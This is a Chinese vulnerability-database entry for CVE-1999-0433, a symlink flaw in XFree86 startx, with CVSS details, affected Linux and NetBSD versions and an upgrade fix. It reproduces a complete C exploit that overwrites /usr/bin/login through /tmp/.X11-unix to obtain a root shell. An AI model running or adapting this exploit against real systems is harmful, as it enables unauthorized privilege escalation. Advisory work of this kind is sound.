CVE-1999-0433
CVSS4.6
发布时间 :1999-03-21 00:00:00
修订时间 :2008-09-09 08:34:31
NMCOE    

[原文]XFree86 startx command is vulnerable to a symlink attack, allowing local users to create files in restricted directories, possibly allowing them to gain privileges or cause a denial of service.


[CNNVD]XFree86 startx命令符号链接漏洞(CNNVD-199903-044)

        XFree86 startx命令易受到符号链接攻击,本地用户可以利用该漏洞在受限目录下创建文件,也有可能获取权限或者导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:slackware:slackware_linux:3.5
cpe:/o:slackware:slackware_linux:3.3
cpe:/o:redhat:linux:5.1Red Hat Linux 5.1
cpe:/o:slackware:slackware_linux:3.6
cpe:/o:redhat:linux:5.2::i386
cpe:/o:netbsd:netbsd:1.3.2NetBSD 1.3.2
cpe:/o:suse:suse_linux:6.1SuSE SuSE Linux 6.1
cpe:/o:netbsd:netbsd:1.3.3NetBSD 1.3.3
cpe:/o:slackware:slackware_linux:3.4
cpe:/a:xfree86_project:x11r6:3.3.3
cpe:/o:slackware:slackware_linux:4.0
cpe:/o:suse:suse_linux:6.0SuSE SuSE Linux 6.0
cpe:/o:suse:suse_linux:5.1SuSE SuSE Linux 5.1
cpe:/o:suse:suse_linux:5.2SuSE SuSE Linux 5.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0433
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0433
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199903-044
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

XFree86 startx命令符号链接漏洞
中危 未知
1999-03-21 00:00:00 2005-05-02 00:00:00
本地  
        XFree86 startx命令易受到符号链接攻击,本地用户可以利用该漏洞在受限目录下创建文件,也有可能获取权限或者导致服务拒绝。

- 公告与补丁

        

- 漏洞信息 (19257)

X11R6 3.3.3 Symlink Vulnerability (EDBID:19257)
linux local
1999-03-21 Verified
0 Stealthf0rk
N/A [点击下载]
source: http://www.securityfocus.com/bid/326/info

There is a symlink vulnerability known to exist under most modern linux and NetBSD distributions. It involves /tmp/.X11-unix and the tendency to follow to/overwrite the file pointed to if a symlink. It may be possible for a regular user to write arbritrary data to a file they normally have no write access to resulting in a root compromise. 

/*** local XFree 3.3.3-symlink  root-compromise.
 *** Tested under FreeBSD 3.1 (but should work on others 2)
 *** (C) 1999/2000 by Stealthf0rk for the K.A.L.U.G. 
 *** (check out http://www.kalug.lug.net/stealth or /coding for
 ***  other kewl stuff!)
 ***
 *** FOR EDUCATIONAL PURPOSES ONLY!!! USE IT AT YOUR OWN RISK.
 *** Even if this program restores all, you should backup your
 *** login before running this.
 ***/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define LOGIN "/usr/bin/login"
#define TELNET "/usr/bin/telnet"

int cp(const char*, const char*, int);

int main(int argc, char **argv)
{

	char *telnet[] = {TELNET, "localhost", NULL};
	char *shell[] = {"/bin/sh", NULL};
	char *X[] = {"/usr/X11R6/bin/xinit", NULL};
	FILE *f = NULL;
	int p = 0;
	char buf[1000] = {0};

	/* the rootshell */
	if (!geteuid() || !getuid()) {
		unlink(LOGIN);
		cp("/tmp/L", LOGIN, 1);
		chmod(LOGIN, 04555);
		printf("Welcome!\n");
		unlink("/tmp/.X11-unix");
		unlink("/tmp/L");
		execve(*shell, shell, NULL);
	}
	
	/* back up */
	cp(LOGIN, "/tmp/L", 1);
	if (symlink(LOGIN, "/tmp/.X11-unix") < 0) {
		perror("symlink (/tmp/.X11-unix)");
		exit(errno);
	}
	if ((p = fork()) < 0) {
		perror("fork");
		exit(errno);
	} else if (p > 0) {
		sleep(7);
		kill(p, 9);
		cp(argv[0], LOGIN, 1);
		execve(telnet[0], telnet, NULL);
		perror("fatal:");
	} else {
		printf("Xfree 3.3.3 root-sploit by Stealth. http://www.kalug.lug.net\n");
		printf("\n-> Please give me some seconds... <-\n\n");
		execve(X[0], X, NULL);
	}
	return 0;
}
	
	
int cp(const char *from, const char *to, int how)
{
	int in = 0, out = 0, r = 0;
	char buf[1000] = {0};
	

	printf("cp %s %s\n", from, to);
	/* overwrite ? */
	if (how == 1) 
		how = O_RDWR|O_TRUNC|O_CREAT;
	else
		how = O_RDWR|O_CREAT;

        if ((out = open(to, how)) < 0) {
		perror("open 1");
		exit(errno);
	}
	if ((in = open(from, O_RDONLY)) < 0) {
		perror("open 2");
		exit(errno);
	}
	while ((r = read(in, buf, 1000-1)) > 0) {
		write(out,buf,r);
		memset(buf,0,1000);
	}
	close(in); close(out);
	return 0;
}
		

- 漏洞信息

975
X11R6 startx Symlink Arbitrary File Creation
Local Access Required Race Condition
Loss of Integrity Upgrade
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

1999-03-28 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 3.3.3.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站